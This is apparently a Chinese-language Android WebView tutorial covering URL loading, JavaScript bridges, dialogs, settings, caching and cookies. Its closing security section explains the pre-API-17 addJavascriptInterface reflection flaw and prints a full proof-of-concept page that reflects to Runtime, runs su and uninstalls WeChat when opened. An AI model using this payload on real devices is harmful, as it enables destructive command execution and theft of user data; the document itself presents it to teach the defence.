基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限
1
|
<
uses-permission
android:name
=
"android.permission.INTERNET"
/>
|
1.加载某个url的方法
1
|
|
需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML
1
|
|
3.加载一段javascript
1
|
WebView.loadUrl(
"javascript:"
+ ${js_code})
|
4.为js提供本地方法
如下,提供一个showToast的方法给javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private
static
class
JavaJs {
private
Context context;
JavaJs(Context context) {
this
.context = context;
}
@JavascriptInterface
public
void
showToast(String str) {
Toast.makeText(context, str, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(
new
JavaJs(
this
),
"JavaJs"
);
<script type=
"text/javascript"
>
JavaJs.showToast(
"toast from js"
);
</script>
|
注意:
- 提供给javascript的方法必需是public的,否则js无法访问
- 提供给javascript的方法将会在WebView管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的)
- 提供给javascript的方法一定要加上 @JavascriptInterface
- 在Android 4.2,Api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到Runtime,然后执行shell命令
- 虽然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(JSR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException)
- 针对Android 4.2以前的设备,我们建议不要通过addJavascriptInterface向javascript提供方法,并且通过removeJavascriptInterface("searchBoxJavaBridge_")来移除WebView自己添加的java对象.
5.页面跳转
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
webView.setWebViewClient(
new
WebViewClient() {
@Override
public
boolean
shouldOverrideUrlLoading(WebView view, String url) {
if
(Uri.parse(url).getHost().equals(
"www.xxx.com"
)) {
// 自己的页面,直接使用WebView加载
return
false
;
}
// 别的公司的页面,使用浏览器打开
Intent intent =
new
Intent(Intent.ACTION_VIEW, Uri.parse(url));
startActivity(intent);
return
true
;
}
});
|
6.访问历史回退
1
2
3
4
5
6
7
8
|
@Override
public
boolean
onKeyDown(
int
keyCode, KeyEvent event) {
if
((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {
webView.goBack();
return
true
;
}
return
super
.onKeyDown(keyCode, event);
}
|
7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法
1
2
3
4
5
|
@Override
public
boolean
onConsoleMessage(ConsoleMessage consoleMessage) {
Log.d(
"WebView"
, consoleMessage.message() +
" js line: "
+ consoleMessage.lineNumber());
return
true
;
}
|
8.支持javascript的警告框 alert
重写WebChromeClient中的onJsAlert方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
@Override
public
boolean
onJsAlert(WebView view, String url, String message,
final
JsResult result) {
new
AlertDialog.Builder(MainActivity.
this
)
.setTitle(
"JsAlert"
)
.setMessage(message)
.setPositiveButton(
"OK"
,
new
DialogInterface.OnClickListener() {
@Override
public
void
onClick(DialogInterface dialog,
int
which) {
result.confirm();
}
})
.setCancelable(
false
)
.show();
return
true
;
}
|
9.支持javascript的确认框 confirm
重写WebChromeClient中的onJsConfirm方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@Override
public
boolean
onJsConfirm(WebView view, String url, String message,
final
JsResult result) {
new
AlertDialog.Builder(MainActivity.
this
)
.setTitle(
"JsConfirm"
)
.setMessage(message)
.setPositiveButton(
"OK"
,
new
DialogInterface.OnClickListener() {
@Override
public
void
onClick(DialogInterface dialog,
int
which) {
result.confirm();
}
})
.setNegativeButton(
"Cancel"
,
new
DialogInterface.OnClickListener() {
@Override
public
void
onClick(DialogInterface dialog,
int
which) {
result.cancel();
}
})
.setCancelable(
false
)
.show();
return
true
;
}
|
10.支持javascript提问框 prompt
重写WebChromeClient中的onJsPrompt方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
@Override
public
boolean
onJsPrompt(WebView view, String url, String message, String defaultValue,
final
JsPromptResult result) {
final
EditText et =
new
EditText(MainActivity.
this
);
et.setText(defaultValue);
new
AlertDialog.Builder(MainActivity.
this
)
.setTitle(message)
.setView(et)
.setPositiveButton(
"OK"
,
new
DialogInterface.OnClickListener() {
@Override
public
void
onClick(DialogInterface dialog,
int
which) {
result.confirm(et.getText().toString());
}
})
.setNegativeButton(
"Cancel"
,
new
DialogInterface.OnClickListener() {
@Override
public
void
onClick(DialogInterface dialog,
int
which) {
result.cancel();
}
})
.setCancelable(
false
)
.show();
return
true
;
}
|
11.显示空白页
1
2
|
WebView.loadUrl(
"about:blank"
);
//该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行
|
12.清除返回栈 WebView.clearHistory
13.获得访问历史列表 WebView.copyBackForwardList
14.下载 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume
pauseTimers, onPause 停止解析,javascript执行等操作.区别是 onPause 只作用于调用它的WebView,而 pauseTimers 作用于当前应用中所有的WebView
resumeTimers, onResume 恢复解析,javascript执行等操作.区别是 onResume 只作用于调用它的WebView,而 resumeTimers 作用于当前应用中所有的WebView
常用设置
1.安全相关(去掉不必要的JavaBridge)
1
2
3
|
//这个Java Bridge是WebView自己添加的
//在Api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作
webView.removeJavascriptInterface(
"searchBoxJavaBridge_"
);
|
2.js相关
1
2
|
//设置支持javascript,默认是false
WebSettings.setJavaScriptEnabled(
true
);
|
3.缩放相关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true
//该设置不影响 WebView.zoomIn()和WebView.zoomOut()
WebSettings.setSupportZoom(
true
);
//设置使用默认的缩放控制器,默认是false
WebSettings.setBuiltInZoomControls(
true
);
//不显示默认的+/-缩放控制View, 默认是true
WebSettings.setDisplayZoomControls(
false
);
加载图片策略相关
//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.
WebSettings.setLoadsImagesAutomatically(
true
);
//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)
WebSettings.setBlockNetworkImage(
false
);
//设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载
WebSettings.setBlockNetworkLoads(
false
);
|
4.渲染相关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
//设置渲染线程的优先级
//该方法在 Api 18之后被废弃,优先级由WebView自己管理
//不过任然建议将其设置为 HIGH,来提高页面渲染速度
WebSettings.setRenderPriority(RenderPriority.HIGH);
Viewport相关
//设置使用 宽 的Viewpoint,默认是false
//Android browser以及chrome for Android的设置是`true`
//而WebView的默认设置是`false`
//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置
//如果设置为`false`,那么可用区域和WebView的显示区域有关.
WebSettings.setUseWideViewPort(
true
);
//如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false
WebView.setLoadWithOverviewMode(
true
);
<!--如果WebSettings.getUseWideViewPort 是
true
, 那么可以通过meta来设置 Viewport -->
<!--例如将其可用宽度设置为 480px, 并且禁用缩放功能-->
<head>
<meta name=
"viewport"
content=
"width=480, user-scalable=no"
/>
</head>
<!--如果WebSettings.getUseWideViewPort 是
false
, 那么 不能 通过meta来设置-->
|
其效果类似于:
1
|
<
meta
name
=
"viewport"
content
=
"width=device-width"
/>
|
注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla
前端存储相关设置(方便前端工程师在客户端存储数据)
1
2
3
4
5
6
7
8
9
10
11
12
|
//支持H5的 application cache 的功能
WebSettings.setAppCacheEnabled(
true
);
//设置 application cache 的存储路径(通常存储js,css,图片等)
WebSetting.setAppCachePath(
"xxx"
);
//支持 H5 的session storage和local storage
WebSettings.setDomStorageEnabled(
true
);
//支持javascript读,写db
WebSettings.setDatabaseEnabled(
true
);
//设置js创建的db文件的路径, Api 19以后废弃,直接有webview管理
WebSettings.setDatabasePath(
"xxx"
);
|
5.缓存相关设置
1
2
3
4
5
|
//设置加载资源时,如何使用cache
//默认设置是:WebSettings.LOAD_DEFAULT
//当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期
//可用的其他设置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY
WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);
|
6.cookie相关
1
2
3
4
5
6
7
8
9
10
|
public
static
void
synCookies(Context context, String url) {
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(
true
);
//默认就是true
cookieManager.setCookie(url, cookies);
if
(Build.VERSION.SDK_INT <
21
) {
CookieSyncManager.createInstance(context).sync();
}
else
{
cookieManager.flush();
}
}
|
addJavascriptInterface的安全问题
1.为javascript提供native接口的途径
Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private
static
class
JavaJs {
private
Context context;
JavaJs(Context context) {
this
.context = context;
}
@JavascriptInterface
public
void
showToast(String str) {
Toast.makeText(context, str, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(
new
JavaJs(
this
),
"JavaJs"
);
<script type=
"text/javascript"
>
JavaJs.showToast(
"toast from js"
);
</script>
|
2.安全问题
Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)
通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
<html>
<head>
<script>
function
toByteArray(str) {
var
ch, stack, result = [];
for
(
var
i = 0; i < str.length; ++i) {
ch = str.charCodeAt(i);
stack = [];
do
{
stack.push(ch & 0xFF);
ch = ch >> 8;
}
while
(ch);
result = result.concat(stack.reverse());
}
return
result;
}
function
execCmd(outputStream) {
var
cmd =
"adb shell pm uninstall com.tencent.mm"
;
outputStream.write(toByteArray(cmd));
outputStream.close();
}
function
toString(inputStream) {
var
result =
""
;
var
c;
while
((c = inputStream.read()) != -1) {
var
s = String.fromCharCode(c);
result += s;
}
return
result;
}
function
hack() {
for
(
var
obj
in
window) {
if
(
"getClass"
in
window[obj]) {
console.log(obj);
var
runtime = window[obj].getClass().forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,
null
).invoke(
null
,
null
);
var
p = runtime.exec([
"su"
]);
execCmd(p.getOutputStream());
alert(toString(p.getInputStream()));
break
;
}
}
}
hack();
</script>
</head>
<body>
卸载微信 :)
</body>
</html>
|